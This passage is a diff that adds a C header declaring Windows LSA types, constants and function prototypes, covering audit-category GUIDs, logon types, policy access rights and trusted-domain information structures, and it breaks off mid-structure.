6997984a-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) + DEFINE_GUID( + Audit_ObjectAccess, + 0x6997984a, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_defined + #endif +#endif + +/* 6997984b-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) + DEFINE_GUID( + Audit_PrivilegeUse, + 0x6997984b, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_defined + #endif +#endif + +/* 6997984c-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) + DEFINE_GUID( + Audit_DetailedTracking, + 0x6997984c, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_defined + #endif +#endif + +/* 6997984d-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) + DEFINE_GUID( + Audit_PolicyChange, + 0x6997984d, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_defined + #endif +#endif + +/* 6997984e-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) + DEFINE_GUID( + Audit_AccountManagement, + 0x6997984e, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_defined + #endif +#endif + +/* 6997984f-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) + DEFINE_GUID( + Audit_DirectoryServiceAccess, + 0x6997984f, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DirectoryServiceAccess_defined + #endif +#endif + +/* 69979850-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) + DEFINE_GUID( + Audit_AccountLogon, + 0x69979850, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_defined + #endif +#endif + +#endif // DEFINE_GUID + +// 04.06.2011 - added +#if !defined(_NTLSA_IFS_) +#define _NTLSA_IFS_ + +#if !defined(_LSALOOKUP_) +#define _LSALOOKUP_ + +#if defined(_NTDEF_) + +typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; +typedef STRING LSA_STRING, *PLSA_STRING; +typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#else // _NTDEF_ + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength/2), length_is(Length/2)] +#endif // MIDL_PASS + PWSTR Buffer; +} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; + +typedef struct _LSA_STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} LSA_STRING, *PLSA_STRING; + +typedef struct _LSA_OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PLSA_UNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#endif // _NTDEF_ + +typedef struct _LSA_TRUST_INFORMATION { + LSA_UNICODE_STRING Name; // The name of the domain + PSID Sid; // ptr to domain Sid +} LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; + +typedef struct _LSA_REFERENCED_DOMAIN_LIST { + ULONG Entries; // count of domains in domain array + PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data +} LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _LSA_TRANSLATED_SID2 { + SID_NAME_USE Use; + PSID Sid; + LONG DomainIndex; + ULONG Flags; +} LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; +#endif + +typedef struct _LSA_TRANSLATED_NAME { + SID_NAME_USE Use; + LSA_UNICODE_STRING Name; + LONG DomainIndex; +} LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; + +typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { + LSA_UNICODE_STRING DomainName; + PSID DomainSid; +} POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; + +typedef struct _POLICY_DNS_DOMAIN_INFO +{ + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING DnsForestName; + GUID DomainGuid; + PSID Sid; +} POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; + +#define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 +#define LOOKUP_TRANSLATE_NAMES 0x00000800 + +typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { + AccountDomainInformation = 5, + DnsDomainInformation = 12 +} LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; + +typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; + +NTSTATUS +LsaLookupOpenLocalPolicy( + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK AccessMask, + IN OUT PLSA_LOOKUP_HANDLE PolicyHandle + ); + +NTSTATUS +LsaLookupClose( + IN LSA_LOOKUP_HANDLE ObjectHandle + ); + +NTSTATUS +LsaLookupTranslateSids( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +LsaLookupTranslateNames( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Flags, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +LsaLookupGetDomainInfo( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, + OUT PVOID *DomainInfo + ); + +NTSTATUS +LsaLookupFreeMemory( + IN PVOID Buffer + ); + +#endif // _LSALOOKUP_ + +#define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) +#define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) +#define LSA_MODE_MANDATORY_ACCESS (0x00000004L) +#define LSA_MODE_LOG_FULL (0x00000008L) + +typedef enum _SECURITY_LOGON_TYPE { + UndefinedLogonType = 0, // This is used to specify an undefied logon type + Interactive = 2, // Interactively logged on (locally or remotely) + Network, // Accessing system via network + Batch, // Started via a batch queue + Service, // Service started by service controller + Proxy, // Proxy logon + Unlock, // Unlock workstation + NetworkCleartext, // Network logon with cleartext credentials + NewCredentials, // Clone caller, new default credentials + //The types below only exist in Windows XP and greater +#if (_WIN32_WINNT >= 0x0501) + RemoteInteractive, // Remote, yet interactive. Terminal server + CachedInteractive, // Try cached credentials without hitting the net. + // The types below only exist in Windows Server 2003 and greater +#endif +#if (_WIN32_WINNT >= 0x0502) + CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose + CachedUnlock // Cached Unlock workstation +#endif +} SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; + +typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; + +#if !defined(_NTLSA_AUDIT_) +#define _NTLSA_AUDIT_ + +// +// The following enumerated type is used between the reference monitor and +// LSA in the generation of audit messages. It is used to indicate the +// type of data being passed as a parameter from the reference monitor +// to LSA. LSA is responsible for transforming the specified data type +// into a set of unicode strings that are added to the event record in +// the audit log. +// + +typedef enum _SE_ADT_PARAMETER_TYPE { + + SeAdtParmTypeNone = 0, //Produces 1 parameter + SeAdtParmTypeString, //Produces 1 parameter. + SeAdtParmTypeFileSpec, + SeAdtParmTypeUlong, //Produces 1 parameter + SeAdtParmTypeSid, //Produces 1 parameter. + SeAdtParmTypeLogonId, //Produces 4 parameters. + SeAdtParmTypeNoLogonId, //Produces 3 parameters. + SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. + SeAdtParmTypePrivs, //Produces 1 parameter with formatting. + SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. + SeAdtParmTypeHexUlong, //Produces 1 parameter + SeAdtParmTypePtr, //Produces 1 parameter + SeAdtParmTypeTime, //Produces 2 parameters + SeAdtParmTypeGuid, //Produces 1 parameter + SeAdtParmTypeLuid, // + SeAdtParmTypeHexInt64, //Produces 1 parameter + SeAdtParmTypeStringList, //Produces 1 parameter + SeAdtParmTypeSidList, //Produces 1 parameter + SeAdtParmTypeDuration, //Produces 1 parameters + SeAdtParmTypeUserAccountControl,//Produces 3 parameters + SeAdtParmTypeNoUac, //Produces 3 parameters + SeAdtParmTypeMessage, //Produces 1 Parameter + SeAdtParmTypeDateTime, //Produces 1 Parameter + SeAdtParmTypeSockAddr, // Produces 2 parameters + SeAdtParmTypeSD, // Produces 1 parameters + SeAdtParmTypeLogonHours, // Produces 1 parameters + SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. + SeAdtParmTypeUlongNoConv, // Produces 1 parameter. + SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter + SeAdtParmTypeAccessReason + +} SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; + +#if !defined(GUID_DEFINED) +#include +#endif /* GUID_DEFINED */ + +typedef struct _SE_ADT_OBJECT_TYPE { + GUID ObjectType; + USHORT Flags; +#define SE_ADT_OBJECT_ONLY 0x1 + USHORT Level; + ACCESS_MASK AccessMask; +} SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; + +typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { + + SE_ADT_PARAMETER_TYPE Type; + ULONG Length; + ULONG_PTR Data[2]; + PVOID Address; +} SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; + + +typedef struct _SE_ADT_ACCESS_REASON{ + ACCESS_MASK AccessMask; + ULONG AccessReasons[32]; + ULONG ObjectTypeIndex; + ULONG AccessGranted; + PSECURITY_DESCRIPTOR SecurityDescriptor; +} SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; + +#define SE_MAX_AUDIT_PARAMETERS 32 +#define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 + +typedef struct _SE_ADT_PARAMETER_ARRAY { + + ULONG CategoryId; + ULONG AuditId; + ULONG ParameterCount; + ULONG Length; + USHORT FlatSubCategoryId; + USHORT Type; + ULONG Flags; + SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; + +} SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; + +#define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 +#define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 +#define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 +#define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 +#define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 + +#define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ + ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ + sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ + (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) + +#endif // !defined(_NTLSA_AUDIT_) + +typedef enum _POLICY_AUDIT_EVENT_TYPE { + + AuditCategorySystem = 0, + AuditCategoryLogon, + AuditCategoryObjectAccess, + AuditCategoryPrivilegeUse, + AuditCategoryDetailedTracking, + AuditCategoryPolicyChange, + AuditCategoryAccountManagement, + AuditCategoryDirectoryServiceAccess, + AuditCategoryAccountLogon + +} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; + +#define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) +#define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) +#define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) +#define POLICY_AUDIT_EVENT_NONE (0x00000004L) + +#define POLICY_AUDIT_EVENT_MASK \ + (POLICY_AUDIT_EVENT_SUCCESS | \ + POLICY_AUDIT_EVENT_FAILURE | \ + POLICY_AUDIT_EVENT_UNCHANGED | \ + POLICY_AUDIT_EVENT_NONE) + +#define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) + +NTSTATUS +NTAPI +LsaRegisterLogonProcess ( + IN PLSA_STRING LogonProcessName, + OUT PHANDLE LsaHandle, + OUT PLSA_OPERATIONAL_MODE SecurityMode + ); + +NTSTATUS +NTAPI +LsaLogonUser ( + IN HANDLE LsaHandle, + IN PLSA_STRING OriginName, + IN SECURITY_LOGON_TYPE LogonType, + IN ULONG AuthenticationPackage, + IN PVOID AuthenticationInformation, + IN ULONG AuthenticationInformationLength, + IN OPTIONAL PTOKEN_GROUPS LocalGroups, + IN PTOKEN_SOURCE SourceContext, + OUT PVOID *ProfileBuffer, + OUT PULONG ProfileBufferLength, + OUT PLUID LogonId, + OUT PHANDLE Token, + OUT PQUOTA_LIMITS Quotas, + OUT PNTSTATUS SubStatus + ); + +NTSTATUS +NTAPI +LsaLookupAuthenticationPackage ( + IN HANDLE LsaHandle, + IN PLSA_STRING PackageName, + OUT PULONG AuthenticationPackage + ); + +NTSTATUS +NTAPI +LsaFreeReturnBuffer ( + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaCallAuthenticationPackage ( + IN HANDLE LsaHandle, + IN ULONG AuthenticationPackage, + IN PVOID ProtocolSubmitBuffer, + IN ULONG SubmitBufferLength, + OUT OPTIONAL PVOID *ProtocolReturnBuffer, + OUT OPTIONAL PULONG ReturnBufferLength, + OUT OPTIONAL PNTSTATUS ProtocolStatus + ); + +NTSTATUS +NTAPI +LsaDeregisterLogonProcess ( + IN HANDLE LsaHandle + ); + +NTSTATUS +NTAPI +LsaConnectUntrusted ( + OUT PHANDLE LsaHandle + ); + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy Administration API datatypes and defines // +// // +//////////////////////////////////////////////////////////////////////////// + +#define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L +#define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L +#define POLICY_GET_PRIVATE_INFORMATION 0x00000004L +#define POLICY_TRUST_ADMIN 0x00000008L +#define POLICY_CREATE_ACCOUNT 0x00000010L +#define POLICY_CREATE_SECRET 0x00000020L +#define POLICY_CREATE_PRIVILEGE 0x00000040L +#define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L +#define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L +#define POLICY_AUDIT_LOG_ADMIN 0x00000200L +#define POLICY_SERVER_ADMIN 0x00000400L +#define POLICY_LOOKUP_NAMES 0x00000800L +#define POLICY_NOTIFICATION 0x00001000L + +#define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN |\ + POLICY_LOOKUP_NAMES) + + +#define POLICY_READ (STANDARD_RIGHTS_READ |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION) + +#define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN) + +#define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_LOOKUP_NAMES) + +typedef struct _LSA_TRANSLATED_SID { + + SID_NAME_USE Use; + ULONG RelativeId; + LONG DomainIndex; + +} LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; + +typedef enum _POLICY_LSA_SERVER_ROLE { + + PolicyServerRoleBackup = 2, + PolicyServerRolePrimary + +} POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; + +#if (_WIN32_WINNT < 0x0502) + +typedef enum _POLICY_SERVER_ENABLE_STATE { + + PolicyServerEnabled = 2, + PolicyServerDisabled + +} POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; +#endif + +typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; + +typedef enum _POLICY_INFORMATION_CLASS { + + PolicyAuditLogInformation = 1, + PolicyAuditEventsInformation, + PolicyPrimaryDomainInformation, + PolicyPdAccountInformation, + PolicyAccountDomainInformation, + PolicyLsaServerRoleInformation, + PolicyReplicaSourceInformation, + PolicyDefaultQuotaInformation, + PolicyModificationInformation, + PolicyAuditFullSetInformation, + PolicyAuditFullQueryInformation, + PolicyDnsDomainInformation, + PolicyDnsDomainInformationInt, + PolicyLocalAccountDomainInformation, + PolicyLastEntry + +} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; + +typedef struct _POLICY_AUDIT_LOG_INFO { + + ULONG AuditLogPercentFull; + ULONG MaximumLogSize; + LARGE_INTEGER AuditRetentionPeriod; + BOOLEAN AuditLogFullShutdownInProgress; + LARGE_INTEGER TimeToShutdown; + ULONG NextAuditRecordId; + +} POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; + +typedef struct _POLICY_AUDIT_EVENTS_INFO { + + BOOLEAN AuditingMode; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + ULONG MaximumAuditEventCount; + +} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; + +typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { + + ULONG MaximumSubCategoryCount; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + +} POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; + +typedef struct _POLICY_AUDIT_CATEGORIES_INFO { + + ULONG MaximumCategoryCount; + PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; + +} POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; + +// +// Valid bits for Per user policy mask. +// + +#define PER_USER_POLICY_UNCHANGED (0x00) +#define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) +#define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) +#define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) +#define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) +#define PER_USER_AUDIT_NONE (0x10) + + +#define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ + PER_USER_AUDIT_SUCCESS_EXCLUDE | \ + PER_USER_AUDIT_FAILURE_INCLUDE | \ + PER_USER_AUDIT_FAILURE_EXCLUDE | \ + PER_USER_AUDIT_NONE) + +typedef struct _POLICY_PRIMARY_DOMAIN_INFO { + + LSA_UNICODE_STRING Name; + PSID Sid; + +} POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; + +typedef struct _POLICY_PD_ACCOUNT_INFO { + + LSA_UNICODE_STRING Name; + +} POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; + +typedef struct _POLICY_LSA_SERVER_ROLE_INFO { + + POLICY_LSA_SERVER_ROLE LsaServerRole; + +} POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; + +typedef struct _POLICY_REPLICA_SOURCE_INFO { + + LSA_UNICODE_STRING ReplicaSource; + LSA_UNICODE_STRING ReplicaAccountName; + +} POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; + +typedef struct _POLICY_DEFAULT_QUOTA_INFO { + + QUOTA_LIMITS QuotaLimits; + +} POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; + + +typedef struct _POLICY_MODIFICATION_INFO { + + LARGE_INTEGER ModifiedId; + LARGE_INTEGER DatabaseCreationTime; + +} POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; + + +typedef struct _POLICY_AUDIT_FULL_SET_INFO { + + BOOLEAN ShutDownOnFull; + +} POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; + + +typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { + + BOOLEAN ShutDownOnFull; + BOOLEAN LogIsFull; + +} POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; + + +typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { + +#if (_WIN32_WINNT <= 0x0500) + PolicyDomainQualityOfServiceInformation = 1, +#endif + PolicyDomainEfsInformation = 2, + PolicyDomainKerberosTicketInformation + +} POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; + +#if (_WIN32_WINNT < 0x0502) + +#define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 +#define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 +#define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 +#define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 +#define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 +#define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 +#define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 +#define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 + +// +// Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. +// +#endif + +#if (_WIN32_WINNT == 0x0500) +typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { + + ULONG QualityOfService; + +} POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; + +#endif + +typedef struct _POLICY_DOMAIN_EFS_INFO { + + ULONG InfoLength; + PUCHAR EfsBlob; + +} POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; + +#define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 + +typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { + + ULONG AuthenticationOptions; + LARGE_INTEGER MaxServiceTicketAge; + LARGE_INTEGER MaxTicketAge; + LARGE_INTEGER MaxRenewAge; + LARGE_INTEGER MaxClockSkew; + LARGE_INTEGER Reserved; +} POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; + +typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { + + PolicyNotifyAuditEventsInformation = 1, + PolicyNotifyAccountDomainInformation, + PolicyNotifyServerRoleInformation, + PolicyNotifyDnsDomainInformation, + PolicyNotifyDomainEfsInformation, + PolicyNotifyDomainKerberosTicketInformation, + PolicyNotifyMachineAccountPasswordInformation, + PolicyNotifyGlobalSaclInformation, + PolicyNotifyMax // must always be the last entry + +} POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; + +typedef PVOID LSA_HANDLE, *PLSA_HANDLE; + +typedef enum _TRUSTED_INFORMATION_CLASS { + + TrustedDomainNameInformation = 1, + TrustedControllersInformation, + TrustedPosixOffsetInformation, + TrustedPasswordInformation, + TrustedDomainInformationBasic, + TrustedDomainInformationEx, + TrustedDomainAuthInformation, + TrustedDomainFullInformation, + TrustedDomainAuthInformationInternal, + TrustedDomainFullInformationInternal, + TrustedDomainInformationEx2Internal, + TrustedDomainFullInformation2Internal, + TrustedDomainSupportedEncryptionTypes, +} TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; + +typedef struct _TRUSTED_DOMAIN_NAME_INFO { + + LSA_UNICODE_STRING Name; + +} TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; + +typedef struct _TRUSTED_CONTROLLERS_INFO { + + ULONG Entries; + PLSA_UNICODE_STRING Names; + +} TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; + +typedef struct _TRUSTED_POSIX_OFFSET_INFO { + + ULONG Offset; + +} TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; + +typedef struct _TRUSTED_PASSWORD_INFO { + LSA_UNICODE_STRING Password; + LSA_UNICODE_STRING OldPassword; +} TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; + +typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; +typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; + +#define TRUST_DIRECTION_DISABLED 0x00000000 +#define TRUST_DIRECTION_INBOUND 0x00000001 +#define TRUST_DIRECTION_OUTBOUND 0x00000002 +#define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) + +#define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before +#define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 +#define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm +#endif + +// Levels 0x5 - 0x000FFFFF reserved for future use +// Provider specific trust levels are from 0x00100000 to 0xFFF00000 + +#define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity +#define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client +#if (_WIN32_WINNT == 0x0500) +#define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust + // to our parent in the org tree... +#define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust + // to another tree root in a forest... +// Trust attributes 0x00000004 through 0x004FFFFF reserved for future use +// Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use +// Trust attributes 0x01000000 through 0xFF000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF02FFFF +#endif + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains +#else +#define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x00000004 // Used to quarantine domains +#endif + +#if (_WIN32_WINNT >= 0x0501) +#define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information +#if (_WIN32_WINNT >= 0x0502) +#define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise +#define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest +#define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes +#if (_WIN32_WINNT >= 0x0600) +#define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 +#define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypte KRB TGTs +#endif +// Trust attributes 0x00000040 through 0x00200000 are reserved for future use +#else +// Trust attributes 0x00000010 through 0x00200000 are reserved for future use +#endif +// Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used +// Trust attributes 0x01000000 through 0x80000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF03FFFF +#endif +#define TRUST_ATTRIBUTES_USER 0xFF000000 + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + +} TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { + + LSA_UNICODE_STRING Name; + 